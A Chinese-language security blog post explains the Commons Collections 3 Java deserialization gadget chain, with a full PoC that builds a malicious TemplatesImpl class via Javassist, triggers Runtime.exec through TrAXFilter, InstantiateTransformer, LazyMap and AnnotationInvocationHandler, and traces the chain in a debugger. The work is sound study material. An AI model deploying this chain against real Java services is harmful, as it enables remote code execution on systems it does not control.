CommonsCollection3
CommonsCollection3
1、前置知识
CommonsCollection3其实就是cc1和cc2的组合,不用再学那么多知识了,再学习另两个生面孔类
1.1、InstantiateTransformer
构造方法传入了paramTypes(参数类型)和args(具体参数值)
transform方法,首先判断了input是不是Class类实例对象,不是的话就获取结构体创建新的实例对象
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}
1.2、TrAXFilter
我们来查看其构造方法,newTransformer方法,这不就是cc2的利用链开头,他会把传入的templates去调用newTransformer方法,然后会调用getTransletInstance,然后再调用defineTransletClasses把我们_class赋值为_bytecodes转换为的类,然后_class再newInstance()实例化,而cc1链是通过InvokerTransformer的transform循环反射获取Runtime.class去RCE.
public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
2、漏洞复现
2.1、poc
package com.akkacloud;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollection3 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//获取一个默认的类池
classPool.appendClassPath(AbstractTranslet);//把AbstractTranslet加入到搜索路径
CtClass payload=classPool.makeClass("CommonsCollections3Test");//创建一个名叫CommonsCollections3Test的临时类
payload.setSuperclass(classPool.get(AbstractTranslet));//设置CommonsCollections3Test类的父类为AbstractTranslet,因为TemplatesImpl的defineTransletClasses中会比较父类是否为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");//设置CommonsCollections3Test的静态代码块,实例化的时候就会执行
byte[] bytes=payload.toBytecode();//把我们的payload(恶意类)转成字节数组类型
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//创建templatesImpl类实例对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//获取templatesImpl的属性_bytecodes
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//设置templatesImpl的属性_bytecodes为我们的恶意字节数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//获取templatesImpl的属性_bytecodes
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//设置templatesImpl的属性_name值为test
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//获取TrAXFilter
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,构造方法会调用templatesImpl.newTransformer实例化我们的恶意类,造成RCE
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers
Map map=new HashMap();//新建一个hashmap
Map lazyMap= LazyMap.decorate(map,chainedTransformer);//这里传入我们的恶意ChainedTransformer,赋值给lazyMap,只要lazyMap的get方法被调用就会调用我们的chainedTransformer的transform方法
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取AnnotationInvocationHandler类
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);//获取AnnotationInvocationHandler的构造函数
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);//传入我们的恶意lazyMap,然后实例化并赋值给invocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//创建动态代理,传入invocationHandler
Object object=constructor.newInstance(Override.class,map1);//然后实例化我们的动态代理,就会调用invocationHandler的invoke方法
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
inputStream.readObject();
}
}

2.2、poc分析
2.2.1、第一段
其实就是cc2链中javassit的利用,创建一个有静态代码块(恶意代码)的CommonsCollections3Test,和设置其父类为AbstractTranslet,最后转换为字节数组,不懂的话可以详细看看cc2的前置知识的javasstis部分
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//获取一个默认的类池
classPool.appendClassPath(AbstractTranslet);//把AbstractTranslet加入到搜索路径
CtClass payload=classPool.makeClass("CommonsCollections3Test");//创建一个名叫CommonsCollections3Test的临时类
payload.setSuperclass(classPool.get(AbstractTranslet));//设置CommonsCollections3Test类的父类为AbstractTranslet,因为TemplatesImpl的defineTransletClasses中会比较父类是否为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");//设置CommonsCollections3Test的静态代码块,实例化的时候就会执行
byte[] bytes=payload.toBytecode();//把我们的payload(恶意类)转成字节数组类型
2.2.2、第二段
也是cc2链对TemplatesImpl的利用,就是创建一个恶意加载类TemplatesImpl,并且通过反射把_bytecodes赋值为我们的恶意字节数组,并且把其_name的设置为test,因为_name在TemplatesImpl类的getTransletInstance()方法,会判断他是否为null,为null就会返回null
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//创建templatesImpl类实例对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//获取templatesImpl的属性_bytecodes
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//设置templatesImpl的属性_bytecodes为我们的恶意字节数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//获取templatesImpl的属性_bytecodes
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//设置templatesImpl的属性_name值为test
2.2.3、第三段
这个是目前跟cc1和cc2链有比较大不同的地方,使用InstantiateTransformer类和TrAXFilter类,通过前置知识我们知道TrAXFilter的构造方法会调用newTransformer方法,把我们传入的恶意TemplatesImpl实例化,具体的可以看前置知识或者cc2链TemplatesImpl学习。通过调用ChainedTransformer的transform方法,第一遍获取TrAXFilter类,第二遍通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,调用其transform方法,实例化传入的上一遍传入的TrAXFilter,调用其构造方法,再调用newTransform,造成RCE。接下来我们需要看其怎么获取transform方法了?
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//获取TrAXFilter,构造方法会调用templatesImpl.newTransformer实例化我们的恶意类,造成RCE
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers
2.2.4、第四段
这里就是cc1链的利用,主要是通过LazyMap的decorate方法赋值我们的恶意chainedTransformer,因为LazyMap的get方法会调用transform方法。
Map map=new HashMap();//新建一个hashmap
Map lazyMap= LazyMap.decorate(map,chainedTransformer);//这里传入我们的恶意ChainedTransformer,赋值给lazyMap,只要lazyMap的get方法被调用就会调用我们的chainedTransformer的transform方法
2.2.5、第五段
这里也是cc1链的对应的利用,主要是反射获取AnnotationInvocationHandler类,实例化时传入我们的恶意lazyMap,然后通过动态代理传入我们的包含了lazyMap的恶意InvocationHandler,然后实例化其实就是调用其构造方法,但是无论调用什么方法都会执行动态代理的invoke方法,invoke方法中调用了get方法。然后就是cc1的AnnotationInvocationHandler的readObject---》entrySet---》invoke.
最后为什么是override.class,
因为AnnotationInvocationHandler本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取AnnotationInvocationHandler类
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);//获取AnnotationInvocationHandler的构造函数
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);//传入我们的恶意lazyMap,然后实例化并赋值给invocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//创建动态代理,传入invocationHandler
Object object=constructor.newInstance(Override.class,map1);//然后实例化我们的动态代理
2.3、利用链调试
在AnnotationInvocationHandler的构造方法打下断点,发现成功的把this.memberValues设置成LazyMap

在readObject打下断点,当this.memberValues调用entrySet()时,因为lazymap是我们的代理对象,所以他执行任何方法都会执行AnnotationInvocationHandler的invoke方法

invoke方法会调用get方法。此时的this.memberValues为Lazymap,继续跟进
(问题:第一遍到invoke的this.memberValues为LinkedHashMap,然后就已经弹窗了,第二次才是lazymap,最后到defineTransletClasses,_class已经为我们用javassit创建的恶意数组类)

this.factory就是我们的chianedTransformer,继续跟进

进入后这个iTransformers[]就是传入我们恶意构造的TrAXFilter和instantiateTransformer

继续跟进transform方法,第一遍获取TrAXFilter.class

继续跟进transform方法,把TrAXFilter通过newInstance实例化

我们进入他的构造函数,templates使我们构造的恶意数组类,继续跟进

进入到newTransformer后,会调用getTransletInstance(),其实这个方法就是用来实例化传入的transformer的,继续跟进

进到getTransletInstance,发现他会调用defineTransletClasses,继续跟进

进入后就是对_class进行处理,前置知识有相关知识,处理完后回到getTransletInstance,把_class实例化,就是我们的恶意类。

2.4、利用链
AnnotationInvocationHandler.readobject
(proxy)lazyMap.entrySet
AnnotationInvocationHandler.invoke->lazyMap.get
ChainedTransformer.transform
ConstantTransformer.transform
InstantiateTransformer.transform
TrAXFilter(构造方法)
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
TemplatesImpl.defineTransletClasses
Runtime.exec()
参考链接
https://www.cnblogs.com/nice0e3/p/13854098.html
CommonsCollection3的更多相关文章
- SSH中的jar包讲解(1)
我们在搭建SSH框架的时候,需要引入各自的一些jar包,相信很多初学者跟我一样,搜个资料,照搬过来(当然版本还得对应),至于为什么要引入这些个jar包,引入它们的作用是啥子,一头雾水,今天我就来跟这些 ...
- java判断集合是否相等
1,使用commons-collection-3.2.1.jar包中的CollectionUtils.isEqualCollection()方法 2,还有其他集合操作:disjunction(a,b集 ...
- SSH中的jar包讲解
我们在搭建SSH框架的时候,需要引入各自的一些jar包 首先,先来看一下我们使用的SSH的各自版本及引入的jar包. struts2.3.1.2: struts2-core-2.3.1.jar j ...
- quartz 集成到Spring中
记录一下,防止忘记. 需要的jar包,quartz-2.2.3.jar,commons-collection-3.1.jar,spring-context-support-4.3.4.RELEASE. ...
随机推荐
- 【C# 编码格式】 System.Text 命名空间 Encoding
Encoding基类 System.Text.ASCIIEncoding类 System.Text.UnicodeEncoding类 System.Text.UTF32Encodin ...
- Redis学习笔记(详细)
目录 概述 Redis安装启动 常用五大数据类型 Redis键(key) Redis字符串(String) Redis列表(List) Redis集合(Set) Redis哈希(Hash) Redis ...
- Qt:如何生成可执行文件
参考 (18条消息) QT5的程序打包发布(将QT5的工程项目打包成一个exe程序)_kslly的专栏-CSDN博客 环境配置 Windows 10系统 MSVC 2017编译器 工具 Qt 5自带的 ...
- WPS:多组件模式与整合模式的调节
首页 设置中心 切换窗口管理模式 多组件和整合模式
- Python:glob
学习自: (1)Python标准库glob模块_lianghe77的博客-CSDN博客_glob库 (2)Python:glob与os.listdir_鳄鱼的博客-CSDN博客 (3)python文件 ...
- LeetCode-082-删除排序链表中的重复元素 II
删除排序链表中的重复元素 II 题目描述:存在一个按升序排列的链表,给你这个链表的头节点 head ,请你删除链表中所有存在数字重复情况的节点,只保留原始链表中 没有重复出现 的数字. 返回同样按升序 ...
- LeetCode-074-搜索二维矩阵
搜索二维矩阵 题目描述:编写一个高效的算法来判断 m x n 矩阵中,是否存在一个目标值.该矩阵具有如下特性: 每行中的整数从左到右按升序排列. 每行的第一个整数大于前一行的最后一个整数. 示例说明请 ...
- Goland 时间转换的那些事
Goland 时间转换的那些事 在项目的开发过程中遇到的一个很有意思的时间转换问题 例子 假设有一个需求,是从数据库获取到了一个时间,然后需要把时间延后一天,再返回时间戳 得到伪代码 t := &qu ...
- [动态规划] LeetCode 2055. 蜡烛之间的盘子
LeetCode 2055 蜡烛之间的盘子 前言: 这个题做的时间略长了,开始的时候打算先定位两个端点的蜡烛,之后在遍历其中的盘子,结果不言而喻,必time limit了,之后就预处理了前x的蜡烛间盘 ...
- 解决移动端ios网页端收起键盘导致的页面空白问题
一句代码就搞定了,只要失焦的时候把窗口滚动位置设置到(0,0)就行了 <input type="text" onblur="window.scrollTo(0, 0 ...